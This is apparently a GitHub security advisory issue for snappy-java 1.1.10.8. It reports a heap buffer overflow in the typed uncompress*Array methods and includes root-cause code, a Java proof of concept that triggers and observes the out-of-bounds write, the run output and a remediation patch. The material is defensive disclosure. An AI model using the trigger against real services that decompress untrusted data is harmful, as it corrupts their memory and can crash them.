Skip to content

snappy-java through 1.1.10.8 Heap Buffer Overflow via uncompress*Array (truncated output allocation) #729

Description

@August829

Heap Buffer Overflow in Snappy.uncompress{Char,Short,Int,Long,Float,Double}Array due to Integer-Division-Truncated Output Allocation

Summary

Product org.xerial:snappy-java
Affected version 1.1.10.8 (latest; and all prior versions sharing this code path)
Component Snappy.java — the six typed uncompress*Array methods; native sink SnappyNative.cpp rawUncompress
Vulnerability type CWE-787 (Out-of-bounds Write), CWE-193 (Off-by-one / Size Miscalculation)
CVSS 3.1 5.3 Medium — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack vector An application decompressing attacker-influenced Snappy data via any uncompress*Array overload
Fix ownership Maintainer, in-repo (add an alignment check before allocation)

Trust boundary

Untrusted, attacker-supplied compressed bytes (network/queue/file) → Snappy.uncompress*Array(...)
→ native RawUncompress writes past the end of a Java-allocated primitive array. The crossed
boundary is untrusted-input → memory-safety of the decompressing process.

Description

The six typed "uncompress into a primitive array" convenience methods
(uncompressCharArray, uncompressShortArray, uncompressIntArray, uncompressLongArray,
uncompressFloatArray, uncompressDoubleArray) size the output array by integer-dividing the
declared uncompressed byte length (read from the compressed data's own varint header) by the
element size, but then pass the undivided byte length to native code, which writes that exact
number of bytes. Whenever the declared byte length is not an exact multiple of the element size,
Java under-allocates the array by 1 to typeSize - 1 bytes while native writes the full amount —
a heap buffer overflow immediately past the array's backing storage.

This is distinct from CVE-2023-34453/34454/34455 (integer overflow in shuffle/compress) and
CVE-2023-43642 (missing chunk-length bound in SnappyInputStream): none of those touch the
uncompress*Array typed-array family or its Java-vs-native size-computation mismatch.

Root cause (verified against 1.1.10.8 source)

// Snappy.java — uncompressLongArray, representative of all six overloads
public static long[] uncompressLongArray(byte[] input, int offset, int length)
        throws IOException
{
    int uncompressedLength = Snappy.uncompressedLength(input, offset, length); // e.g. 15
    long[] result = new long[uncompressedLength / 8];                          // 15/8 = 1 -> 8 bytes allocated
    impl.rawUncompress(input, offset, length, result, 0);                      // native writes the full 15 bytes
    return result;
}

The native sink reads the true header-declared length via snappy::GetUncompressedLength and calls
snappy::RawUncompress, which writes uncompressedLength bytes to the array base — unaware of the
Java-side truncation. BitShuffle.unshuffle*Array performs the same division on both the
Java and native sides, so the two agree; the Snappy typed-array path does the division only on the
Java side. That asymmetry is the defect.

Reproduction

  • OS: macOS (Darwin, arm64) · JDK: OpenJDK 25 · Library: snappy-java 1.1.10.8, unmodified prebuilt
    native library (libsnappyjava.dylib), no source modification.
import org.xerial.snappy.Snappy;
import java.lang.reflect.Field;
import java.util.Arrays;
import sun.misc.Unsafe;

public class PocTypedArrayOob {
    public static void main(String[] args) throws Exception {
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Unsafe unsafe = (Unsafe) f.get(null);

        byte[] source = new byte[15];          // 15 is not a multiple of 8
        Arrays.fill(source, (byte) 0x41);       // 'A'
        byte[] compressed = Snappy.compress(source);
        int declared = Snappy.uncompressedLength(compressed);

        long[] result = Snappy.uncompressLongArray(compressed);   // allocates long[1] = 8 bytes
        long oobWord = unsafe.getLong(result,
                Unsafe.ARRAY_LONG_BASE_OFFSET + (long) result.length * Unsafe.ARRAY_LONG_INDEX_SCALE);

        int aCount = 0;
        for (int i = 0; i < 8; i++) if ((byte) (oobWord >>> (i * 8)) == 0x41) aCount++;
        System.out.println("declared=" + declared + " allocated bytes=" + (result.length * 8)
                + " overflow-payload-bytes past array=" + aCount + "/8");
    }
}

sun.misc.Unsafe here is only a read-only observation probe to confirm what the native write
already did; the vulnerable write happens with no probe involved.

Run:

java --add-opens java.base/sun.misc=ALL-UNNAMED --sun-misc-unsafe-memory-access=allow -cp classes PocTypedArrayOob

Actual evidence

declared=15 allocated bytes=8 overflow-payload-bytes past array=7/8

15 declared − 8 allocated = 7 overflow bytes; all 7 bytes immediately past the array's capacity are
the source payload byte 0x41, confirming RawUncompress wrote past the end of the Java-allocated
long[].

Impact

Any application decompressing Snappy data via one of the six typed uncompress*Array methods
overflows the output array by up to typeSize - 1 bytes (7 for long/double, 3 for int/float, 1 for
short/char) whenever the original length is not a multiple of the element size — a common,
non-adversarial condition. An attacker controlling the compressed input can guarantee the overflow
on every call, corrupting adjacent JVM heap. Confirmed impact is a bounded out-of-bounds heap write
(memory-safety violation / potential crash), hence Availability:Low; it is not demonstrated code
execution.

Remediation

Reject non-aligned declared lengths (or round the allocation up) before calling native, in all six
methods:

int uncompressedLength = Snappy.uncompressedLength(input, offset, length);
if (uncompressedLength % 8 != 0) {
    throw new SnappyError(SnappyErrorCode.PARSING_ERROR,
            "uncompressed byte length " + uncompressedLength + " is not a multiple of 8");
}
long[] result = new long[uncompressedLength / 8];
impl.rawUncompress(input, offset, length, result, 0);

References

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions